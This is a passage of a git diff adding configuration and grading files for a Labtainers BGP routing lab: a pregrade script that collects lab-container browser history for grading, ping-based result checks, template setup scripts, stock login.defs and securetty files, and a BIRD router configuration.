a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/instr_config/goals.config new file mode 100644 index 000000000..8b1378917 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/instr_config/goals.config @@ -0,0 +1 @@ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/instr_config/pregrade.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/instr_config/pregrade.sh similarity index 65% rename from modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/instr_config/pregrade.sh rename to modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/instr_config/pregrade.sh index e2aa72d79..791a2f574 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/instr_config/pregrade.sh +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/instr_config/pregrade.sh @@ -22,8 +22,21 @@ homedir=$1 destdir=$2 dbg=/tmp/pregrade.log cd $homedir/$destdir +is_sqlite=`which sqlite3` +if [ ! -z $is_sqlite ]; then + #echo $is_sqlite + here=`pwd` + places=$here/.mozilla/firefox/*default/places.sqlite + for fname in $(ls $places 2> /dev/null); do + if [[ -f $fname ]]; then + outpath=$here/.local/result + outfile=$outpath/moz_places.txt + mkdir -p "$outpath" + sqlite3 "$fname" "SELECT moz_places.* FROM moz_places;" >"$outfile" + fi + done +fi -# Note: the invalid password for user john is entered/captured on frame 204 -# telnet.data shows 'john-password' -# Extract using editcap frame 204 from telnet.pcap and store as frame204.pcap -editcap -F pcap -r telnet.pcap frame204.pcap 204 +# +# Add other processing below. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/instr_config/results.config new file mode 100644 index 000000000..d33d308e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/instr_config/results.config @@ -0,0 +1,7 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide +# GROUP: Student pinged the three computers from E4, implying routing was configured. +pinged_e1 = e4:ping.stdout : CONTAINS : 64 bytes from 202.15.0.2 +pinged_e2 = e4:ping.stdout : CONTAINS : 64 bytes from 202.25.0.2 +pinged_e3 = e4:ping.stdout : CONTAINS : 64 bytes from 202.35.0.2 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/netmon/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/netmon/_bin/fixlocal.sh new file mode 100755 index 000000000..a9532b0e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/netmon/_bin/fixlocal.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/netmon/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/netmon/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/netmon/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/netmon/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/netmon/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/netmon/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r1/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r1/_bin/fixlocal.sh new file mode 100755 index 000000000..a9532b0e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r1/_bin/fixlocal.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r1/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r1/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r1/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r1/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r1/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r1/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r1/_system/usr/local/etc/bird.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r1/_system/usr/local/etc/bird.conf new file mode 100644 index 000000000..3b6230e1c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r1/_system/usr/local/etc/bird.conf @@ -0,0 +1,79 @@ +/* + * Route server configuration for 20515 + */ + +log "/var/log/bird.log" all; + +define myas = 20515; + +protocol device { } + +# The direct protocol is not a real routing protocol. It automatically generates +# direct routes to all network interfaces. Can exist in as many instances as you +# wish if you want to populate multiple routing tables with direct routes. +protocol direct { + disabled; # Disable by default + ipv4; # Connect to default IPv4 table + ipv6; # ... and to default IPv6 table +} + +# The Kernel protocol is not a real routing protocol. Instead of communicating +# with other routers in the network, it performs synchronization of BIRD +# routing tables with the OS kernel. One instance per table. +protocol kernel { + ipv4 { # Connect protocol to IPv4 table by channel + table master4; # Default IPv4 table is master4 + import all; # Import to table, default is import all + export all; # Export to protocol. default is export none + }; +} + +# This function excludes weird networks +# rfc1918, class D, class E, too long and too short prefixes +function avoid_martians() +prefix set martians; +{ + martians = [ 169.254.0.0/16+, 172.16.0.0/12+, 192.168.0.0/16+, 10.0.0.0/8+, + 224.0.0.0/4+, 240.0.0.0/4+, 0.0.0.0/32-, 0.0.0.0/0{25,32}, 0.0.0.0/0{0,7} ]; + + # Avoid RFC1918 and similar networks + if net ~ martians then return false; + + return true; +} +protocol static STATIC4 { + ipv4 { preference 110; }; + route 202.15.0.0/24 via "eth0"; +} + +#### +# Protocol template + +template bgp PEERS { + local as myas; + ipv4{ + import filter{ + if ! (avoid_martians()) then reject; + accept; + }; + export filter{ + accept; + }; + }; +} + + +#### +# Configuration of BGP peer follows + + +protocol bgp R20525 from PEERS { + description "Member 1 - peer 1"; + neighbor 10.1.0.WAN1_R2 as 20525; +} + +protocol bgp R20535 from PEERS { + description "Member 2 - peer 1"; + neighbor 10.2.0.3 as 20535; +} + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r2/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r2/_bin/fixlocal.sh new file mode 100755 index 000000000..a9532b0e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r2/_bin/fixlocal.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r2/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r2/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r2/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# 